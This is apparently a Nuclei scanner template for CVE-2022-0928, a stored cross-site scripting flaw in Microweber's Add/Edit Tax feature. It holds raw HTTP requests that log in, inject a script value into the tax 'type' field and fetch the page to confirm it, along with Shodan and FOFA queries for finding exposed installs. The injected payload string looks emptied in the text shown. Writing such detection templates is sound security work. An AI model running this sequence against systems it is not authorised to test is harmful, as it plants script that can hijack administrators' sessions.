id: CVE-2022-0928 info: name: Microweber < 1.2.12 - Stored Cross-Site Scripting author: amit-jd severity: medium description: | Microweber prior to 1.2.12 contains a stored cross-site scripting vulnerability via the Type parameter in the body of POST request, which is triggered by Add/Edit Tax. impact: | Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. remediation: | Upgrade Microweber to version 1.2.12 or later to mitigate this vulnerability. reference: - https://huntr.dev/bounties/085aafdd-ba50-44c7-9650-fa573da29bcd - https://github.com/microweber/microweber/commit/fc9137c031f7edec5f50d73b300919fb519c924a - https://nvd.nist.gov/vuln/detail/CVE-2022-0928 - https://github.com/ARPSyndicate/cvemon - https://github.com/ARPSyndicate/kenzer-templates classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N cvss-score: 5.4 cve-id: CVE-2022-0928 cwe-id: CWE-79 epss-score: 0.00144 epss-percentile: 0.50194 cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:* metadata: verified: true max-request: 3 vendor: microweber product: microweber shodan-query: - http.favicon.hash:780351152 - http.html:"microweber" fofa-query: - body="microweber" - icon_hash=780351152 tags: cve2022,cve,authenticated,huntr,xss,microweber,cms http: - raw: - | POST /api/user_login HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded username={{username}}&password={{password}} - | POST /api/shop/save_tax_item HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: {{BaseURL}}/admin/view:settings id=0&name=vat1&type=">&rate=10 - | POST /module HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer:{{BaseURL}}/admin/view:settings class=+module+module-shop-taxes-admin-list-taxes+&id=mw_admin_shop_taxes_items_list&parent-module-id=settings-admin-mw-main-module-backend-shop-taxes-admin&parent-module=shop%2Ftaxes%2Fadmin&data-type=shop%2Ftaxes%2Fadmin_list_taxes matchers: - type: dsl dsl: - 'contains(body_3,"")' - 'contains(header_3,"text/html")' - 'status_code_2 == 200 && status_code_3 == 200' condition: and # digest: 4a0a0047304502206e090977c24d875c8b6221bd8ed20bc0111fce3a0eb4b70117706d02dc21591002210099fe65d9c7e83e1d4a93f6e5ec4f1cbacb3fbe41deddb3d2805f76bdb837b12c:922c64590222798bb761d5b6d8e72950